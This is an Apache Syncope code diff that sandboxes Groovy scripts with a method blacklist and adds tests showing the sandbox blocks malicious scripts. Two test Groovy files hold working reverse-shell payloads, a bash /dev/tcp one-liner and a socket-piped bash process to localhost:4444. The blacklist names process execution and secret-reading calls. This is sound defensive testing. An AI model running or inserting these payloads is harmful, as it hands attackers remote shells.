a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.spring.implementation; +import groovy.grape.GrabAnnotationTransformation; import groovy.lang.GroovyClassLoader; import java.lang.reflect.Modifier; import java.lang.reflect.ParameterizedType; @@ -26,6 +27,7 @@ import java.util.HashMap; import java.util.Map; import java.util.Optional; +import java.util.Set; import java.util.function.Consumer; import java.util.function.Supplier; import org.apache.commons.lang3.tuple.Pair; @@ -36,6 +38,7 @@ import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; import org.apache.syncope.common.lib.report.ReportConf; import org.apache.syncope.common.lib.types.IdRepoImplementationType; +import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.ImplementationTypesHolder; import org.apache.syncope.core.persistence.api.ApplicationContextProvider; import org.apache.syncope.core.persistence.api.entity.Implementation; @@ -46,13 +49,26 @@ import org.apache.syncope.core.provisioning.api.rules.PasswordRule; import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; +import org.codehaus.groovy.control.CompilerConfiguration; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; +import org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.RejectASTTransformsCustomizer; +import org.kohsuke.groovy.sandbox.SandboxTransformer; +import org.springframework.aop.aspectj.annotation.AspectJProxyFactory; public final class ImplementationManager { - private static final GroovyClassLoader GROOVY_CLASSLOADER = new GroovyClassLoader(); + private static final GroovyClassLoader GROOVY_CLASSLOADER; private static final Map> CLASS_CACHE = Collections.synchronizedMap(new HashMap<>()); + static { + CompilerConfiguration cc = new CompilerConfiguration(); + cc.addCompilationCustomizers(new RejectASTTransformsCustomizer(), new SandboxTransformer()); + cc.setDisabledGlobalASTTransformations(Set.of(GrabAnnotationTransformation.class.getName())); + + GROOVY_CLASSLOADER = new GroovyClassLoader(Thread.currentThread().getContextClassLoader(), cc); + } + @SuppressWarnings("unchecked") public static Optional buildReportJobDelegate( final Implementation impl, @@ -75,7 +91,7 @@ public static Optional buildReportJobDelegate( return Optional.empty(); } - ReportJobDelegate report = build(clazz, true, cacheGetter, cachePutter); + ReportJobDelegate report = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); report.setConf(conf); return Optional.of(report); } @@ -102,7 +118,7 @@ public static Optional buildAccountRule( return Optional.empty(); } - AccountRule rule = build(clazz, true, cacheGetter, cachePutter); + AccountRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -129,7 +145,7 @@ public static Optional buildPasswordRule( return Optional.empty(); } - PasswordRule rule = build(clazz, true, cacheGetter, cachePutter); + PasswordRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -157,7 +173,7 @@ public static Optional buildInboundCorrelationRule( return Optional.empty(); } - InboundCorrelationRule rule = build(clazz, true, cacheGetter, cachePutter); + InboundCorrelationRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -185,7 +201,7 @@ public static Optional buildPushCorrelationRule( return Optional.empty(); } - PushCorrelationRule rule = build(clazz, true, cacheGetter, cachePutter); + PushCorrelationRule rule = build(clazz, true, impl.getEngine(), cacheGetter, cachePutter); rule.setConf(conf); return Optional.of(rule); } @@ -251,15 +267,27 @@ private static Pair, Boolean> getClass(final Implementation impl) t return Pair.of((Class) clazz, false); } + private static T createBean(final Class clazz, final ImplementationEngine engine) { + T bean = ApplicationContextProvider.getBeanFactory().createBean(clazz); + if (engine == ImplementationEngine.GROOVY) { + AspectJProxyFactory factory = new AspectJProxyFactory(bean); + factory.addAspect(new GroovySandbox( + ApplicationContextProvider.getApplicationContext().getBean(Blacklist.class))); + bean = factory.getProxy(); + } + return bean; + } + @SuppressWarnings("unchecked") public static T build(final Implementation impl) throws ClassNotFoundException { - return (T) ApplicationContextProvider.getBeanFactory().createBean(getClass(impl).getLeft()); + return createBean((Class) getClass(impl).getLeft(), impl.getEngine()); } @SuppressWarnings("unchecked") private static T build( final Class clazz, final boolean classCached, + final ImplementationEngine engine, final Supplier cacheGetter, final Consumer cachePutter) { @@ -271,7 +299,7 @@ private static T build( instance = cacheGetter.get(); } if (instance == null) { - instance = ApplicationContextProvider.getBeanFactory().createBean(clazz); + instance = createBean(clazz, engine); if (perContext) { cachePutter.accept(instance); @@ -286,7 +314,7 @@ public static T build(final Implementation impl, final Supplier cacheGett Pair, Boolean> clazz = getClass(impl); - return build(clazz.getLeft(), clazz.getRight(), cacheGetter, cachePutter); + return build(clazz.getLeft(), clazz.getRight(), impl.getEngine(), cacheGetter, cachePutter); } public static Class purge(final String implementation) { diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java index eeb2d558129..d01dd142888 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityContext.java @@ -21,6 +21,10 @@ import com.nimbusds.jose.JOSEException; import com.nimbusds.jose.JWSAlgorithm; import com.nimbusds.jose.KeyLengthException; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.Reader; import java.security.NoSuchAlgorithmException; import java.security.spec.InvalidKeySpecException; import org.apache.syncope.common.lib.types.CipherAlgorithm; @@ -33,6 +37,7 @@ import org.apache.syncope.core.spring.policy.DefaultRuleProvider; import org.apache.syncope.core.spring.security.jws.AccessTokenJWSSigner; import org.apache.syncope.core.spring.security.jws.AccessTokenJWSVerifier; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.config.BeanDefinition; @@ -40,10 +45,13 @@ import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; import org.springframework.context.annotation.Role; +import org.springframework.core.io.ResourceLoader; import org.springframework.security.config.core.GrantedAuthorityDefaults; @EnableConfigurationProperties(SecurityProperties.class) +@EnableAspectJAutoProxy(proxyTargetClass = false) @Configuration(proxyBeanMethods = false) public class SecurityContext { @@ -153,4 +161,16 @@ public ApplicationContextProvider applicationContextProvider() { public EncryptorManager encryptorManager() { return new DefaultEncryptorManager(); } + + @ConditionalOnMissingBean + @Bean + public Blacklist groovyBlackList(final ResourceLoader resourceLoader, final SecurityProperties props) + throws IOException { + + try (InputStream in = resourceLoader.getResource(props.getGroovyBlacklist()).getInputStream(); + Reader reader = new InputStreamReader(in)) { + + return new Blacklist(reader); + } + } } diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java index 734fba8d65a..c5d9690117d 100644 --- a/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/security/SecurityProperties.java @@ -100,6 +100,8 @@ public void setUseLenientSaltSizeCheck(final boolean useLenientSaltSizeCheck) { private String secretKey; + private String groovyBlacklist = "classpath:META-INF/groovy.blacklist"; + private final DigesterProperties digester = new DigesterProperties(); public String getAdminUser() { @@ -174,6 +176,14 @@ public void setSecretKey(final String secretKey) { this.secretKey = secretKey; } + public String getGroovyBlacklist() { + return groovyBlacklist; + } + + public void setGroovyBlacklist(final String groovyBlacklist) { + this.groovyBlacklist = groovyBlacklist; + } + public DigesterProperties getDigester() { return digester; } diff --git a/core/spring/src/main/resources/META-INF/groovy.blacklist b/core/spring/src/main/resources/META-INF/groovy.blacklist new file mode 100644 index 00000000000..85292bc6085 --- /dev/null +++ b/core/spring/src/main/resources/META-INF/groovy.blacklist @@ -0,0 +1,112 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +# Reflective access to Groovy +method groovy.lang.GroovyObject getMetaClass +method groovy.lang.GroovyObject getProperty java.lang.String +method groovy.lang.GroovyObject invokeMethod java.lang.String java.lang.Object +method groovy.lang.GroovyObject setMetaClass groovy.lang.MetaClass +method groovy.lang.GroovyObject setProperty java.lang.String java.lang.Object + +# Raw file operations +staticMethod java.io.File createTempFile java.lang.String java.lang.String +staticMethod java.io.File createTempFile java.lang.String java.lang.String java.io.File +new java.io.File java.lang.String +new java.io.File java.lang.String java.lang.String +new java.io.File java.net.URI +staticMethod java.io.File listRoots +new java.io.FileInputStream java.lang.String +new java.io.FileOutputStream java.lang.String +new java.io.FileOutputStream java.lang.String boolean +new java.io.FileReader java.lang.String +new java.io.FileWriter java.lang.String +new java.io.FileWriter java.lang.String boolean +new java.io.PrintStream java.lang.String +new java.io.PrintStream java.lang.String java.lang.String +new java.io.PrintWriter java.lang.String +new java.io.PrintWriter java.lang.String java.lang.String +new java.io.RandomAccessFile java.lang.String java.lang.String + +# No reflection! +method java.lang.Class getConstructor java.lang.Class[] +method java.lang.Class getConstructors +method java.lang.Class getDeclaredConstructor java.lang.Class[] +method java.lang.Class getDeclaredConstructors +method java.lang.Class getDeclaredField java.lang.String +method java.lang.Class getDeclaredFields +method java.lang.Class getDeclaredMethod java.lang.String java.lang.Class[] +method java.lang.Class getDeclaredMethods +method java.lang.Class getField java.lang.String +method java.lang.Class getFields +method java.lang.Class getMethod java.lang.String java.lang.Class[] +method java.lang.Class getMethods +method java.lang.Class getResource java.lang.String +method java.lang.Class getResourceAsStream java.lang.String +method java.lang.Class newInstance + +# Same for local process execution. +new java.lang.ProcessBuilder java.lang.String[] +new java.lang.ProcessBuilder java.util.List +method java.lang.Process start +staticMethod java.lang.Runtime getRuntime +staticMethod java.lang.System exit int + +# Leak information. +staticMethod java.lang.System getProperties +staticMethod java.lang.System getProperty java.lang.String +staticMethod java.lang.System getProperty java.lang.String java.lang.String +staticMethod java.lang.System getenv +staticMethod java.lang.System getenv java.lang.String +staticMethod java.lang.System nanoTime +staticMethod java.lang.System setProperty java.lang.String java.lang.String + +# Could be used to read local files. +method java.net.URL getContent +method java.net.URL getContent java.lang.Class[] +method java.net.URL openConnection +method java.net.URL openStream + +# NIO file operations must start with a Path: +staticMethod java.nio.file.Paths get java.lang.String java.lang.String[] +staticMethod java.nio.file.Paths get java.net.URI + +# More process execution, Groovy-style: +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String java.util.List java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.lang.String[] java.util.List java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List java.lang.String[] java.io.File +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods execute java.util.List java.util.List java.io.File + +# JSON +staticMethod groovy.json.JsonOutput toJson groovy.lang.Closure +staticMethod groovy.json.JsonOutput toJson java.lang.Object + +# SECURITY-538 +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getAt java.lang.Object java.lang.String +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getMetaPropertyValues java.lang.Object +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods getProperties java.lang.Object +staticMethod org.codehaus.groovy.runtime.DefaultGroovyMethods putAt java.lang.Object java.lang.String java.lang.Object +staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class +staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class + +# SECURITY-1754 +new org.kohsuke.groovy.sandbox.impl.Checker$SuperConstructorWrapper java.lang.Object[] +new org.kohsuke.groovy.sandbox.impl.Checker$ThisConstructorWrapper java.lang.Object[] diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java b/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java index ffe3643ce72..5547d28dff9 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java @@ -18,15 +18,22 @@ */ package org.apache.syncope.core.spring; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.Reader; import org.apache.syncope.core.persistence.api.ApplicationContextProvider; import org.apache.syncope.core.persistence.api.EncryptorManager; import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.spring.security.DefaultEncryptorManager; import org.apache.syncope.core.spring.security.DummyImplementationLookup; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; import org.springframework.context.annotation.Primary; +@EnableAspectJAutoProxy(proxyTargetClass = false) @Configuration(proxyBeanMethods = false) public class SpringTestConfiguration { @@ -45,4 +52,13 @@ public EncryptorManager encryptorManager() { public ImplementationLookup implementationLookup() { return new DummyImplementationLookup(); } + + @Bean + public Blacklist groovyBlackList() throws IOException { + try (InputStream is = getClass().getResourceAsStream("/META-INF/groovy.blacklist"); + Reader reader = new InputStreamReader(is);) { + + return new Blacklist(reader); + } + } } diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java new file mode 100644 index 00000000000..69e5ab61c1e --- /dev/null +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.implementation; + +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import org.apache.cxf.helpers.IOUtils; +import org.apache.syncope.common.lib.types.ImplementationEngine; +import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.provisioning.api.macro.MacroActions; +import org.apache.syncope.core.spring.SpringTestConfiguration; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledOnOs; +import org.junit.jupiter.api.condition.OS; +import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; + +@SpringJUnitConfig(classes = { SpringTestConfiguration.class }) +class GroovySandboxTest { + + @Test + void processBuilder() throws Exception { + Implementation impl = mock(Implementation.class); + when(impl.getKey()).thenReturn("processBuilder"); + when(impl.getEngine()).thenReturn(ImplementationEngine.GROOVY); + when(impl.getBody()).thenReturn(IOUtils.toString( + getClass().getResourceAsStream("/ProcessBuilderMacroActions.groovy"))); + + MacroActions actions = ImplementationManager.build(impl); + + SecurityException e = assertThrows( + SecurityException.class, () -> actions.afterAll(null, new StringBuilder())); + assertTrue(e.getMessage().contains("Insecure call to 'new java.lang.ProcessBuilder java.lang.String[]'")); + } + + @EnabledOnOs(OS.LINUX) + @Test + void bash() throws Exception { + Implementation impl = mock(Implementation.class); + when(impl.getKey()).thenReturn("bash"); + when(impl.getEngine()).thenReturn(ImplementationEngine.GROOVY); + when(impl.getBody()).thenReturn(IOUtils.toString( + getClass().getResourceAsStream("/BashMacroActions.groovy"))); + + MacroActions actions = ImplementationManager.build(impl); + + SecurityException e = assertThrows( + SecurityException.class, () -> actions.afterAll(null, new StringBuilder())); + assertTrue(e.getMessage().contains("Insecure call to 'new java.io.File java.lang.String'")); + } +} diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java similarity index 98% rename from core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java rename to core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java index d6b4d21944f..d7edb9723da 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java @@ -36,7 +36,7 @@ import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; @SpringJUnitConfig(classes = { SpringTestConfiguration.class }) -public class ImplementationManagerTest { +public class PasswordRuleTest { public static DefaultPasswordRuleConf createBaseDefaultPasswordRuleConf() { DefaultPasswordRuleConf baseDefaultPasswordRuleConf = new DefaultPasswordRuleConf(); diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java index 576b5a3686b..50ea8be8284 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java @@ -25,7 +25,7 @@ import org.apache.syncope.common.lib.policy.DefaultPasswordRuleConf; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.spring.SpringTestConfiguration; -import org.apache.syncope.core.spring.implementation.ImplementationManagerTest; +import org.apache.syncope.core.spring.implementation.PasswordRuleTest; import org.junit.jupiter.api.Test; import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; @@ -36,7 +36,7 @@ public class PasswordGeneratorTest { @Test public void digit() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setDigit(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -48,7 +48,7 @@ public void digit() { @Test public void alphabetical() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setAlphabetical(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -60,7 +60,7 @@ public void alphabetical() { @Test public void lowercase() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setLowercase(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -72,7 +72,7 @@ public void lowercase() { @Test public void uppercase() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setUppercase(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -84,7 +84,7 @@ public void uppercase() { @Test public void special() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setSpecial(1); pwdRuleConf.getSpecialChars().add('@'); pwdRuleConf.getSpecialChars().add('!'); @@ -102,7 +102,7 @@ public void issueSYNCOPE678() { String password = passwordGenerator.generate(List.of()); assertNotNull(password); - DefaultPasswordRuleConf pwdRuleConf1 = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf1 = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf1.setMinLength(0); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf1)); diff --git a/core/spring/src/test/resources/BashMacroActions.groovy b/core/spring/src/test/resources/BashMacroActions.groovy new file mode 100644 index 00000000000..0795b8b73b0 --- /dev/null +++ b/core/spring/src/test/resources/BashMacroActions.groovy @@ -0,0 +1,48 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +import groovy.transform.BaseScript +import org.apache.syncope.core.provisioning.api.macro.MacroActions +import java.io.Serializable + +abstract class BashMacroActions extends Script implements MacroActions {} +@BaseScript BashMacroActions _ + +@Override +StringBuilder afterAll(Map ctx, StringBuilder output) { + def f = new File('/tmp/hello.sh') + f.withWriter { w -> + w.println('#!/bin/bash') + w.println('bash -i >& /dev/tcp/localhost/4444 0>&1') + } + f.setExecutable(true) + + def p = ['/bin/bash','-lc','/tmp/hello.sh'].execute() + def so = new StringWriter() + def se = new StringWriter() + p.consumeProcessOutput(so, se) + p.waitFor() + + output + .append('\n[macro] wrote /tmp/hello.sh and executed it.\n[stdout]\n') + .append(so.toString()).append('\n') + if (se.toString()) { + output.append('[stderr]\n').append(se.toString()).append('\n') + } + return output +} diff --git a/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy b/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy new file mode 100644 index 00000000000..cf86f4c74de --- /dev/null +++ b/core/spring/src/test/resources/ProcessBuilderMacroActions.groovy @@ -0,0 +1,77 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +import groovy.transform.BaseScript +import org.apache.syncope.core.provisioning.api.macro.MacroActions +import java.io.Serializable +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; + +abstract class ProcessBuilderMacroActions extends Script implements MacroActions {} +@BaseScript ProcessBuilderMacroActions _ + +@Override +StringBuilder afterAll(Map ctx, StringBuilder output) { + String host = "localhost"; + int port = 4444; + String cmd = "bash"; + + Process p = new ProcessBuilder(cmd) + .redirectErrorStream(true) + .start(); + + Socket s = new Socket(host, port); + + InputStream pi = p.getInputStream(); + InputStream pe = p.getErrorStream(); + InputStream si = s.getInputStream(); + + OutputStream po = p.getOutputStream(); + OutputStream so = s.getOutputStream(); + + while (!s.isClosed()) { + while (pi.available() > 0) { + so.write(pi.read()); + } + while (pe.available() > 0) { + so.write(pe.read()); + } + while (si.available() > 0) { + po.write(si.read()); + } + + so.flush(); + po.flush(); + + Thread.sleep(1); + + try { + p.exitValue(); + break; + } catch (Exception e) { + // ignored + } + } + ; + p.destroy(); + s.close(); + + output.append('\nShell started...\n') + return output +} diff --git a/core/spring/src/test/resources/simplelogger.properties b/core/spring/src/test/resources/simplelogger.properties new file mode 100644 index 00000000000..030d4d091c1 --- /dev/null +++ b/core/spring/src/test/resources/simplelogger.properties @@ -0,0 +1,22 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +# See http://www.slf4j.org/api/org/slf4j/impl/SimpleLogger.html +# Possible values: "trace", "debug", "info", "warn", or "error" +org.slf4j.simpleLogger.showDateTime=true +org.slf4j.simpleLogger.dateTimeFormat=YYYY-mm-dd HH:mm:ss.SSS +org.slf4j.simpleLogger.defaultLogLevel=debug diff --git a/docker/console/LICENSE b/docker/console/LICENSE index a449c6fcd1a..4d0f60a3543 100644 --- a/docker/console/LICENSE +++ b/docker/console/LICENSE @@ -272,6 +272,11 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see above. + +== + For Error Prone (https://errorprone.info/): This is licensed under the AL 2.0, see above. diff --git a/docker/core/LICENSE b/docker/core/LICENSE index 80e9ef1ddc2..945dac06584 100644 --- a/docker/core/LICENSE +++ b/docker/core/LICENSE @@ -228,6 +228,11 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see above. + +== + For Error Prone (https://errorprone.info/): This is licensed under the AL 2.0, see above. @@ -1017,6 +1022,11 @@ This is licensed under the AL 2.0, see above. == +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox): +This is licensed under the MIT license, see above. + +== + For ANTLR (https://www.antlr.org/): This is licensed under the BSD license: @@ -1072,6 +1082,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox): +This is licensed under the MIT license, see above. + +== + For Cryptacular (https://github.com/vt-middleware/cryptacular): This is licensed under the AL 2.0, see above. @@ -1297,11 +1312,6 @@ This is licensed under the AL 2.0, see above. == -For Postgresql JDBC Driver (http://jdbc.postgresql.org/): -This is licensed under the BSD license, see above. - -== - For Simple Logging Facade for Java - SLF4J (http://www.slf4j.org/): This is licensed under the MIT license, see above. diff --git a/docker/core/NOTICE b/docker/core/NOTICE index 6165793b2b6..6be2a727110 100644 --- a/docker/core/NOTICE +++ b/docker/core/NOTICE @@ -163,6 +163,12 @@ Copyright 2017 Flowable == +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa + +== + This product includes software developed by the ANTLR project. Copyright (c) 2012 Terence Parr and Sam Harwell. All rights reserved. @@ -191,6 +197,11 @@ This product includes software developed by the Woodstox Project. == +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors + +== + This product includes software developed by the Eclipse Angus Project. Copyright (c) 1997, 2024 Oracle and/or its affiliates. All rights reserved. @@ -259,12 +270,6 @@ Copyright (C) 2003-2022 Virginia Tech. All rights reserved. == -This product includes software developed by Postgresql JDBC Driver. -Copyright (c) 1997, PostgreSQL Global Development Group -All rights reserved. - -== - This products includes software developed by the Simple Logging Facade for Java (SLF4J) project. Copyright (c) 2004-2016 QOS.ch. diff --git a/docker/enduser/LICENSE b/docker/enduser/LICENSE index 4e980c15901..52bbf7b3e05 100644 --- a/docker/enduser/LICENSE +++ b/docker/enduser/LICENSE @@ -257,6 +257,11 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see above. + +== + For Error Prone (https://errorprone.info/): This is licensed under the AL 2.0, see above. diff --git a/docker/wa/LICENSE b/docker/wa/LICENSE index 7bad4a73691..36e2d232e43 100644 --- a/docker/wa/LICENSE +++ b/docker/wa/LICENSE @@ -203,7 +203,7 @@ == -For balanced-match (https://github.com/juliangruber/balanced-match): +For Animate.css (http://daneden.github.io/animate.css/): This is licensed under the MIT license: Permission is hereby granted, free of charge, to any person obtaining @@ -227,6 +227,11 @@ This is licensed under the MIT license: == +For balanced-match (https://github.com/juliangruber/balanced-match): +This is licensed under the MIT license, see above. + +== + For base64-js (https://github.com/beatgammit/base64-js): This is licensed under the MIT license, see above. @@ -482,6 +487,11 @@ This is licensed under the AL 2.0, see above. == +For FindBugs-jsr305 (http://findbugs.sourceforge.net/): +This is licensed under the AL 2.0, see 